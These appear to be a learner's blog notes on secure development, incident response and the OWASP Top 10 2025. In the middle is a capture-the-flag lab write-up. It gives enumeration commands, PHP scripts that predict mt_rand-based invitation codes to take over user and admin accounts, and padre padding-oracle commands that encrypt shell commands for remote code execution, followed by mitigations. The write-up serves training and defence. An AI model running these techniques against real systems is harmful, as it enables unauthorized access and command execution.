In the modern world, the most critical vulnerability often isn’t a misconfigured firewall or an unpatched OS—it’s the code itself.

From understanding the OWASP API Top 10 to navigating the complexities of DevSecOps and tackling unique challenges like the “Mother’s Secret” and “Traverse” rooms, this section transformed how I view the software supply chain. Here’s what I learned.

1. OWASP API Security Top 10

For years, the OWASP Top 10 for Web Applications dominated the conversation. But as applications evolve into microservices and APIs, the attack surface has shifted.

Key Insights:

• APIs are the New Perimeter: Modern apps rely heavily on APIs. If an API is broken, the entire backend is exposed.
• Broken Object Level Authorization (BOLA): It’s not just about logging in; it’s about ensuring User A can’t access User B’s data just by changing an ID in the URL.
• Mass Assignment & Injection: How developers accidentally expose internal properties or allow SQL/NoSQL injection through poorly validated API inputs.
• Lack of Resources & Rate Limiting: APIs without rate limiting are easy targets for brute-force and DoS attacks.

2. SSDLC and DevSecOps

The Secure Software Development Life Cycle (SSDLC) isn’t just a buzzword; it’s a methodology that changes when security happens.

The Shift Left Philosophy:

• Requirements Phase: Security requirements are defined alongside functional ones.
• Design Phase: Threat modeling happens before a single line of code is written.
• Development Phase: Developers use secure coding guidelines and static analysis tools.
• Testing Phase: Dynamic analysis and penetration testing occur before release.
• Deployment & Maintenance: Continuous monitoring and patching.

Enter DevSecOps:

DevSecOps is a cultural shift that makes SSDLC possible. It’s about automating security checks within the CI/CD pipeline so that security doesn’t slow down delivery—it enables it.

• Automation is Key: If security checks are manual, they will be skipped. If they are automated, they become part of the build process.
• Feedback Loops: Developers get immediate feedback on vulnerabilities, allowing them to fix issues instantly rather than weeks later.

3. SAST, DAST, and Weaponization

How do we actually find these bugs? There are two primary types of application security testing.

SAST (Static Application Security Testing):

• What it is: Analyzing source code without executing it.
• Pros: Finds issues early (during coding), covers 100% of code paths.
• Cons: Can produce false positives; doesn’t catch runtime issues.

DAST (Dynamic Application Security Testing):

• What it is: Testing the running application from the outside (like a black-box attacker).
• Pros: Finds runtime issues, configuration errors, and authentication flaws.
• Cons: Can’t see inside the code; only tests what’s exposed.

Weaponizing Vulnerabilities:

To defend effectively, I had to understand how attackers weaponize vulnerabilities.

• Exploitation Chains: How a small XSS flaw can lead to session hijacking.
• Payload Delivery: Understanding how malware or ransomware is delivered through vulnerable software.
• Impact Analysis: Seeing the real-world consequences of a successful exploit helped me prioritize which vulnerabilities to fix first.

Conclusion:

After reading about software security topics it has fundamentally changed my perspective on the software lifecycle. I now understand that:

1. APIs are critical: They require specific security controls distinct from traditional web apps.
2. Shift Left is mandatory: Waiting until the end to test for security is too late and too expensive.
3. Automation is essential: SAST and DAST must be integrated into the CI/CD pipeline.
4. Human insight matters: Tools find bugs, but humans find logic flaws and understand the business impact.

A Security Engineer role is to bridge the gap between developers and security. It needs to speak their language, provide them with the right tools, and help them build software that is secure by default.

This section was a reminder that the code we write is the foundation of our digital world. If that foundation is cracked, everything built on top of it will eventually fall.

Difficulty: Medium Tags: CTF, Web Exploitation Target IP: 10.114.184.31

Objective

The main objective is to exploit a weak cryptographic implementation to gain unauthorized access to the system, then leverage a padding oracle vulnerability to achieve remote code execution and retrieve the flags.

Reconnaissance & Enumeration

Scanning Services

Making a quick scan of the target to identify open ports and services using nmap. Executing a default scan, nmap 10.114.184.31

Output:

• ssh

Based on the result it might be interesting to scan even deeper using nmap -p- -sC -sV -T4 10.114.184.31

Output:

• ssh
• http

Exploring the HTTP service: http://10.114.184.31:1337

There are 3 interesting options to look further:

• Login
• Login with Invite Code
• API Documentation

Directory Scan

Looking to extract more possible paths using gobuster. Starting with a basic directory scan gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Output:

• /css
• /js
• /logs
• /phpmyadmin

Extended Directory Scan with Extensions

Looking to execute a directory scan with extensions gobuster dir -u http://10.114.184.31:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip

Output:

• /api.php
• /dashboard.php

Log Analysis

Investigating /logs endpoints http://10.114.184.31:1337/logs

It contains a log file called app.log

The relevant information to extract are:

• Email:alpha@fake.thm with the invitation code MTM0ODMzNzEyMg== has been deactivated
• Email: hello@fake.thm as a new user created
• URL: dashboard.php

Inspecting the main URL http://10.114.184.31:1337 with Network nav from browser development tools:

JavaScript Obfuscation Analysis

There is a script called api.js

function b(c,d){const e=a();return b=function(f,g){f=f-0x165;let h=e[f];return h;},b(c,d);}const j=b;function a(){const k=['16OTYqOr','861cPVRNJ','474AnPRwy','H7gY2tJ9wQzD4rS1','5228dijopu','29131EDUYqd','8756315tjjUKB','1232020YOKSiQ','7042671GTNtXE','1593688UqvBWv','90209ggCpyY'];a=function(){return k;};return a();}(function(d,e){const i=b,f=d();while(!![]){try{const g=parseInt(i(0x16b))/0x1+-parseInt(i(0x16f))/0x2+parseInt(i(0x167))/0x3*(parseInt(i(0x16a))/0x4)+parseInt(i(0x16c))/0x5+parseInt(i(0x168))/0x6*(parseInt(i(0x165))/0x7)+-parseInt(i(0x166))/0x8*(parseInt(i(0x16e))/0x9)+parseInt(i(0x16d))/0xa;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0xe43f0));const c=j(0x169);

Looks like the function has been obfuscated. Using the following website https://deobfuscate.io to deobfuscate the current code:

function b(c, d) {
  const e = a();
  return b = function (f, g) {
    f = f - 357;
    let h = e[f];
    return h;
  }, b(c, d);
}
const j = b;
function a() {
  const k = ["16OTYqOr", "861cPVRNJ", "474AnPRwy", "H7gY2tJ9wQzD4rS1", "5228dijopu", "29131EDUYqd", "8756315tjjUKB", "1232020YOKSiQ", "7042671GTNtXE", "1593688UqvBWv", "90209ggCpyY"];
  a = function () {
    return k;
  };
  return a();
}
(function (d, e) {
  const i = b, f = d();
  while (true) {
    try {
      const g = parseInt(i(363)) / 1 + -parseInt(i(367)) / 2 + parseInt(i(359)) / 3 * (parseInt(i(362)) / 4) + parseInt(i(364)) / 5 + parseInt(i(360)) / 6 * (parseInt(i(357)) / 7) + -parseInt(i(358)) / 8 * (parseInt(i(366)) / 9) + parseInt(i(365)) / 10;
      if (g === e) break; else f.push(f.shift());
    } catch (h) {
      f.push(f.shift());
    }
  }
}(a, 934896));
const c = j(361);

There is a constant value invoked by j(361) assigned to a constant variable c. By inserting console.log(c) within Console nav from the browser development tools it should display a value:

Output:

• H7gY2tJ9wQzD4rS1

Exploitation

Command Execution & Privilege Escalation

Trying this string (H7gY2tJ9wQzD4rS1) to access http://10.114.184.31:1337/api.php where it only requires a password, was the correct choice to access the API documentation.

After trying to log in as hello@fake.thm with the H7gY2tJ9wQzD4rS1 as the possible invitation code, it failed. Trying this string (H7gY2tJ9wQzD4rS1) to access http://10.114.184.31:1337/api.php where it only requires a password, it was the correct choice to access the API documentation.

Step 1: Cracking the Constant Value

It reveals the function that generates the invitation code against the user email.

function calculate_seed_value($email, $constant_value) {  
    $email_length = strlen($email);  
    $email_hex = hexdec(substr($email, 0, 8));  
    $seed_value = hexdec($email_length + $constant_value + $email_hex);  
    return $seed_value;  
}  
  
$seed_value = calculate_seed_value($email, $constant_value);  
mt_srand($seed_value);  
$random = mt_rand();  
$invite_code = base64_encode($random);

By knowing an existing active email hello@fake.thm it is only required to know the unknown constant_value. However, we already had an invitation sample code from alpha@fake.thm with the value of MTM0ODMzNzEyMg==. Observing the php code the invite_code value is encoded in base64 format. Using CyberChef to decode the value.

Output:

• 1348337122

This value was generated by mt_rand function. This function is a pseudo-random number generator that is not considered cryptographically secure, since if an attacker gets the seed, then the output can be predicted. The seed_value is generated by (seed_value = email_length + constant_value + email_hex):

• email_length
  • 14
• constant_value
  • Unknown
• email_hex
  • 61 6c 70 68 61 40 66 61 6b 65 2e 74 68 6d (using CyberChef)
  • Substring between 0 to 8: 616c7068
  • Decimal: 54 49 54 99 55 48 54 56

To get the constant_value we know the seed from alpha@fake.thm:

1348337122 = hexdec(14 + ? + 5449549955485456)

It is possible to loop over possible values by try and error, therefore typing a little script in php is going to be the way to discover the seed_value

<?php

$email = "alpha@fake.thm";
$target_invite_code = "MTM0ODMzNzEyMg==";

function calculate_seed_value($email, $constant_value) {

    $email_length = strlen($email); // 15
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec((string)($email_length + $constant_value + $email_hex));

    return $seed_value;
}

echo "Starting...\n";

// Loop over possible constant values
for ($constant_value = 0; $constant_value < 100000; $constant_value++) {

    $seed_value = calculate_seed_value($email, $constant_value);
    mt_srand($seed_value);
    $random = mt_rand();
    $invite_code = base64_encode($random);

    if ($invite_code === $target_invite_code) {

        echo "Found constant value: $constant_value\n";
        break;
    }
}
?>

Output:

• 99999

Step 2: Generating Valid Invitation Codes

With the constant_value known, now it is possible to guess the seed_value that acts as the invitation code for hello@fake.thm.

<?php

$email = "hello@fake.thm";
$constant_value = "99999";

function calculate_seed_value($email, $constant_value) {  
    $email_length = strlen($email);  
    $email_hex = hexdec(substr($email, 0, 8));  
    $seed_value = hexdec($email_length + $constant_value + $email_hex);  
    return $seed_value;  
}  
  
$seed_value = calculate_seed_value($email, $constant_value);  
mt_srand($seed_value);  
$random = mt_rand();  
$invite_code = base64_encode($random);
echo "Invite code: $invite_code";
?>

Output:

• NDYxNTg5ODkx

The invitation code for hello@fake.thm is NDYxNTg5ODkx. Going back to the login with invite code page http://10.114.184.31:1337 and inserting the corresponding values to access into the account:

Flag after logging into the panel: THM{CryptographyPwn007}

From the dashboard view it is displayed another account admin@fake.thm, this account has an admin role. Knowing this new email and the constant_value of the seed generator function, it is possible to extract the invitation code from the admin@fake.thm account.

<?php

$email = "admin@fake.thm";
$constant_value = "99999";

function calculate_seed_value($email, $constant_value) {  
    $email_length = strlen($email);  
    $email_hex = hexdec(substr($email, 0, 8));  
    $seed_value = hexdec($email_length + $constant_value + $email_hex);  
    return $seed_value;  
}  
  
$seed_value = calculate_seed_value($email, $constant_value);  
mt_srand($seed_value);  
$random = mt_rand();  
$invite_code = base64_encode($random);
echo "Invite code: $invite_code";
?>

Output:

• MTc0OTQ0NzAzNw==

After attempting to log in as an admin@fake.thm using the generated invitation code MTc0OTQ0NzAzNw== it returned a failed attempt. Then, accessing as an admin uses a different encryption process.

Step 3: Padding Oracle Attack

Going back to hello@fake.thm account but this time using Burp Suite to observe all the interactions with the web service. Capturing the packet from the Proxy feature and sending the packet into Repeater to observe the response from the server.

There is a hidden input. The hidden input is declared as date with the value bRBHqQfs9f4UhFIitZJJelGfu+ezN6Ijmd7fg++7NVk=, this value changes on each refresh from the page. By deleting the value as an empty string and refreshing the web page to see if something happens.

Error Output:

• Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length

This system error displays the decryption operation reached the final block and the padding check failed. After a google search for the error EVP_DecryptFinal is part of OpenSSL API. After sending a few requests using different datevalues a new error emerged.

Output:

• Warning: openssl_decrypt(): IV passed is only 1 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0 in /var/www/html/dashboard.php on line 28

This error means the code is calling openssel_decrypt() function with an IV (initialization vector) of the wrong length. The cipher/mode being used requires an 8-bytes. This value is common in ciphers such as DES/3DES in CBC mode. The value that we are providing is the IV.

After a research through the Internet, DES/3DES in CBC mode are susceptible into padding oracle and bit-flipping.

• Padding oracle attack: exploits how padding errors are handled. It occurs when the application reveals whether the padding of a decrypted message is valid or not, this enables to gain information about the plaintext without knowing the encryption key.

After dorking (site: github.com php padding oracle attack) through the internet to get a program that exploits this specific vulnerability. A good candidate was padre, it supports tokens in GET/POST parameters and Cookies. Download the latest version and grant executable permissions using chmod +x padre_linux_amd64.

After some try and error and getting used to the new tool,./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'ls'

Output:

• fXGHJVbs4t9lbmJyaWVhcw==

Executing again the same command but modifying the command that we want to execute, ./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' 'fXGHJVbs4t9lbmJyaWVhcw=='

The system returned an output, therefore trying the specific path from the last flag question /home/ubuntu/flag.txt, ./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'cat /home/ubuntu/flag.txt'

Output:

• 8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==

Once having the encrypted command to get the flag we are going to use the following command ./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' '8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw=='

Having this value now its time to insert as the date value on the dashboard URL, http://10.114.184.31:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==

Output:

• THM{GOT_COMMAND_EXECUTION001}

Content of the /home/ubuntu/flag.txt: THM{GOT_COMMAND_EXECUTION001}

Conclusion

By exploiting a weak pseudo-random number generator (mt_rand()) in the invitation code generation system, we successfully predicted valid invitation codes for any user email. This granted us access to the dashboard where we discovered a padding oracle vulnerability in the DES/CBC encryption implementation. Using the padre tool, we leveraged the padding oracle to achieve remote code execution and retrieve the final flag.

Mitigations and Remediations

To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:

1. Cryptographically Secure Random Number Generation: replace mt_rand() with random_int() or openssl_random_pseudo_bytes() for security-critical operations.
2. Remove Error Leakage: implement generic error messages that don’t reveal internal cryptographic details.
3. Input Validation: validate and sanitize all user inputs, especially encrypted parameters passed to decryption functions.
4. Use Authenticated Encryption: implement AEAD modes instead of CBC mode to prevent padding oracle attacks entirely.

Final Answers

1. Flag after logging into the panel: THM{CryptographyPwn007}
2. Content of the /home/ubuntu/flag.txt: THM{GOT_COMMAND_EXECUTION001}

In “Risk Management”, zero risk is impossible. No matter how well we build, determined attackers will find a way in.

The question isn’t if an incident will occur, but how we respond when it does.

Reading about the critical lifecycle of Incident Response (IR) and Incident Management (IM), it taught me that a fast, organized response can mean the difference between a minor glitch and a catastrophic breach.

1. Intro to IR and IM

Before diving into tools, I had to understand the difference between Incident Response (the technical act of handling the breach) and Incident Management (the organizational process of coordinating the response).

Key Concepts:

• The NIST Lifecycle: the standard four-phase approach:
  1. Preparation: Having the plan, tools, and team ready before an attack.
  2. Detection & Analysis: Identifying the incident and determining its scope.
  3. Containment, Eradication, & Recovery: Stopping the bleeding, removing the threat, and restoring systems.
  4. Post-Incident Activity: The “lessons learned” phase to prevent recurrence.
• The Role of the Security Engineer: In an incident, this role isn’t just to fix the server; it’s to preserve evidence, communicate with stakeholders, and ensure the root cause is addressed.

2. Logging for Accountability

You cannot investigate what you cannot see. The importance of logging not just for debugging, but for forensics and accountability.

• What to Log: It’s not enough to log “errors.” We need to log authentication attempts, privilege escalations, file access, and network connections.
• Centralization: Logs scattered across individual servers are useless during an attack. They must be sent to a centralized, tamper-proof location (like a SIEM) immediately.
• Time Synchronization: If clocks aren’t synchronized (via NTP), correlating events across different systems becomes a nightmare.
• Chain of Custody: Understanding how to handle logs as legal evidence is crucial. If the chain is broken, the evidence might be inadmissible in court.

3. Becoming a First Responder

Being a First Responder means being the first person on the scene when the fire alarm rings. It requires calmness, procedure, and speed.

The First Responder Checklist:

• Verify the Alert: Is it a false positive or a real breach? Don’t panic, but don’t ignore it.
• Preserve Evidence: Before touching anything, capture memory dumps, disk images, and network traffic. Do not reboot the system unless absolutely necessary, as it destroys volatile data.
• Containment Strategies:
  • Isolation: Disconnect the infected machine from the network (pull the plug or disable the NIC).
  • Segmentation: Block traffic at the firewall level to stop lateral movement.
• Communication: Who do you tell? Legal? HR? Management? The “Who, What, When, Where” communication chain is vital.

4. Cyber Crisis Management

Sometimes, an incident escalates into a full-blown Crisis. This is where technical skills meet leadership and communication.

Crisis Management Principles:

• Decision Making Under Pressure: In a crisis, you don’t have perfect information. You must make the best decision possible with the data at hand.
• Stakeholder Management: Executives care about reputation and downtime; Legal cares about liability; Customers care about their data. A Security Engineer must translate technical chaos into business impact.
• The War Room: Establishing a dedicated communication channel (physical or virtual) where the incident commander leads the response.
• Ransomware Specifics: learn the specific protocols for ransomware: do not pay (usually), isolate immediately, and engage law enforcement.

Conclusion:

I now understand that security is not a static state of “being safe.” It is a dynamic cycle of:

1. Preventing what we can.
2. Detecting what slips through.
3. Responding effectively when it happens.
4. Learning to be better next time.

Being a Security Engineer means accepting that breaches will happen. But it also means having the confidence that when they do, we are ready. We have the logs, the playbooks, the skills, and the mindset to turn a potential disaster into a manageable event.

This is a reminder that technology is only part of the equation. People, processes, and preparation are the true backbone of incident management.

For years, the OWASP Top 10 has been the bible of web application security. We memorized SQL Injection, XSS, and Broken Access Control. But the digital landscape changes faster than any static list can keep up. With the rise of AI, serverless architectures, and complex API ecosystems, the threats have evolved.

The 2025 list shifts focus from simple code injection to systemic failures in Identity, Architecture, and Data. Focusing on these three critical pillars: IAAA Failures, Application Design Flaws, and Insecure Data Handling.

1. IAAA Failures

The first major category in the 2025 list is IAAA Failures (Identification, Authentication, Authorization, and Accounting). In previous years, “Broken Access Control” was a single item. In 2025, it has exploded into a comprehensive category reflecting the complexity of modern identity.

• Beyond Passwords: The failure isn’t just weak passwords anymore. It’s the mismanagement of session tokens, API keys, and OAuth flows.
• The “Zero Trust” Gap: Many applications still assume that if a user is logged in, they are trusted everywhere. The 2025 list highlights failures where authorization checks are skipped for specific API endpoints or microservices.
• Accounting Failures: It’s not enough to know who did something; we must be able to trace what they did and when. Gaps in audit logging (Accounting) make forensic analysis impossible after a breach.
• Machine Identity: A new frontier. Services talking to services (machine-to-machine) often lack proper authentication, leading to massive lateral movement opportunities for attackers.

2. Application Design Flaws

Historically, we focused on implementation bugs (bad code). The 2025 list emphasizes Design Flaws—errors made before a single line of code was written.

• Trust Boundaries: Designing systems where untrusted data flows directly into trusted zones without validation boundaries.
• Missing Security Controls by Default: Building features that are inherently insecure (e.g., allowing file uploads without size/type checks) because security wasn’t a requirement in the design phase.
• Complexity as a Vulnerability: Over-engineering architectures (too many microservices, too many integrations) creates a surface area that is impossible to secure effectively.
• AI Integration Risks: With AI agents now part of applications, design flaws include failing to sandbox AI outputs or allowing prompt injection to alter application logic.

3. Insecure Data Handling

Data is the ultimate target. The 2025 list expands “Sensitive Data Exposure” into a broader category of Insecure Data Handling, covering the entire lifecycle of data.

• Data at Rest & In Transit: It’s not just about TLS. It’s about how data is stored in databases, caches, and logs. Are PII (Personally Identifiable Information) fields encrypted? Are backups protected?
• Data Integrity: Ensuring data hasn’t been tampered with. This includes protecting against race conditions and logic bugs that allow data manipulation.
• Third-Party Data Risks: How we handle data received from APIs, partners, or user inputs. The “Supply Chain” of data is just as risky as the software supply chain.
• Privacy by Design: Handling data in compliance such as GDPR, and other regulations isn’t just legal; it’s a security control. Mishandling data leads to reputational collapse.

Connecting the Dots: The 2025 Mindset

This section bridged the gap between the Software Security module and the Incident Management module. If we fail at Design or Data Handling, we will have an incident. If we fail at IAAA, the incident will be catastrophic.

Conclusion:

OWASP Top 10 (2025) taught me that security is not a static checklist. The threats of 2025 are different from 2017, and our defenses must evolve just as fast.

The mandate is clear:

1. Rethink Identity: Assume every request is untrusted until proven otherwise.
2. Fix the Design: Catch flaws before code is written.
3. Protect the Data: Secure data from ingestion to deletion.

The OWASP Top 10 (2025) isn’t just a list of vulnerabilities; it’s a roadmap for building resilient, modern applications.